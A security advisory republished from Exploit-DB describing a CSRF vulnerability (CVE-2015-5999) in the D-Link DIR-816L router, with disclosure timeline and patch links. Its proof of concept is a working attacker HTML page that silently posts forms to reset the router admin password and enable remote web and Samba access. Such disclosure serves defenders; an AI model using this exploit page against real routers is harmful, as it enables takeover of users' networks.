D-Link DIR-816L Wireless Router – Cross-Site Request Forgery

  • 作者: Bhadresh Patel
    日期: 2015-11-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38707/
  • ----------------------------------------------------------------------------------------------
    
    Title:
    ====
    
    D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability
    
    Credit:
    ======
    
    Name: Bhadresh Patel
    Company/affiliation: HelpAG
    Website: www.helpag.com
    
    CVE:
    =====
    CVE-2015-5999
    
    Date:
    ====
    
    10-11-2015 (dd/mm/yyyy)
    
    Vendor:
    ======
    D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.
    
    Product:
    =======
    DIR-816L is a wireless AC750 Dual Band Cloud Router
    
    Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L
    
    
    Abstract:
    =======
    
    Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.
    
    Report-Timeline:
    ============
    27-07-2015: Vendor notification
    27-07-2015: Vendor Response/Feedback
    05-11-2015: Vendor Fix/Patch
    10-11-2015: Public or Non-Public Disclosure
    Affected Version:
    =============
    <=2.06.B01
    
    Exploitation-Technique:
    ===================
    Remote
    
    Severity Rating:
    ===================
    
    7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)
    Details:
    =======
    An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.
    
    
    Proof Of Concept:
    ================
    
    1) User login to DIR-816L wireless router
    2) User visits the attacker's malicious web page (attacker.html)
    3) attacker.html exploits CSRF vulnerability and changes the admin account password
    PoC video link: http://youtu.be/UBdR2sUc8Wg
    Exploit code (attacker.html):
    <html>
    <body>
    <iframe style="display:none" name="hiddenpost"></iframe>
    <form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">
    <input type="hidden" name="<&#63;xml&#32;version" value=""1&#46;0"&#32;encoding&#61;"UTF&#45;8"&#63;>&#10;<postxml>&#10;<module>&#10;&#9;<service>DEVICE&#46;ACCOUNT<&#47;service>&#10;&#9;<device>&#10;&#9;&#9;<gw&#95;name>DIR&#45;816L<&#47;gw&#95;name>&#10;&#9;&#9;&#10;&#9;&#9;<account>&#10;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>2<&#47;max>&#10;&#9;&#9;&#9;<count>1<&#47;count>&#10;&#9;&#9;&#9;<entry>&#10;&#9;&#9;&#9;&#9;<uid>USR&#45;<&#47;uid>&#10;&#9;&#9;&#9;&#9;<name>Admin<&#47;name>&#10;&#9;&#9;&#9;&#9;<usrid&#47;>&#10;&#9;&#9;&#9;&#9;<password>password<&#47;password>&#10;&#9;&#9;&#9;&#9;<group>0<&#47;group>&#10;&#9;&#9;&#9;&#9;<description&#47;>&#10;&#9;&#9;&#9;<&#47;entry>&#10;&#9;&#9;<&#47;account>&#10;&#9;&#9;<group>&#10;&#9;&#9;&#9;<seqno&#47;>&#10;&#9;&#9;&#9;<max&#47;>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#9;&#9;<&#47;group>&#10;&#9;&#9;<session>&#10;&#9;&#9;&#9;<captcha>1<&#47;captcha>&#10;&#9;&#9;&#9;<dummy&#47;>&#10;&#9;&#9;&#9;<timeout>180<&#47;timeout>&#10;&#9;&#9;&#9;<maxsession>128<&#47;maxsession>&#10;&#9;&#9;&#9;<maxauthorized>16<&#47;maxauthorized>&#10;&#9;&#9;<&#47;session>&#10;&#9;<&#47;device>&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;1<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<web><&#47;web>&#10;&#9;&#9;<https&#95;rport><&#47;https&#95;rport>&#10;&#9;&#9;<stunnel>1<&#47;stunnel>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;&#9;<inbfilter&#47;>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;2<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<active>0<&#47;active>&#10;&#9;&#9;<nat>NAT&#45;1<&#47;nat>&#10;&#9;&#9;<web&#47;>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>INBFILTER<&#47;service>&#10;&#9;<acl>&#10;&#9;&#9;<inbfilter>&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>24<&#47;max>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#10;&#9;&#9;<&#47;inbfilter>&#9;&#9;&#10;&#9;<&#47;acl>&#10;&#9;<ACTIVATE>ignore<&#47;ACTIVATE>&#10;<FATLADY>ignore<&#47;FATLADY><SETCFG>ignore<&#47;SETCFG><&#47;module>&#10;<module>&#10;&#9;<service>SHAREPORT<&#47;service>&#10;&#9;<FATLADY>ignore<&#47;FATLADY>&#10;&#9;&#10;<ACTIVATE>ignore<&#47;ACTIVATE><&#47;module>&#10;<module>&#10;&#9;<service>SAMBA<&#47;service>&#10;&#9;<samba>&#9;&#9;&#10;&#9;&#9;&#32;&#32;&#32;&#32;&#10;&#9;&#9;<enable>1<&#47;enable>&#10;&#9;&#9;<auth>1<&#47;auth>&#10;&#10;&#32;&#32;&#32;&#32;<&#47;samba>&#10;<&#47;module>&#10;<&#47;postxml>" />
    </form>
    <script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>
    <iframe style="display:none" name="hiddencommit"></iframe>
    <form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">
    <input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" />
    </form>
    <script>document.getElementById("csrf1").submit()</script>
    
    </body>
    </html>
    Patched/Fixed Firmware and notes:
    ==========================
    2.06.B09_BETA--ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP
    2.06.B09_BETA--ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF
    
    Credits:
    =======
    Bhadresh Patel
    Senior Security Analyst
    HelpAG (www.helpag.com)
    ----------------------------------------------------------------------------------------------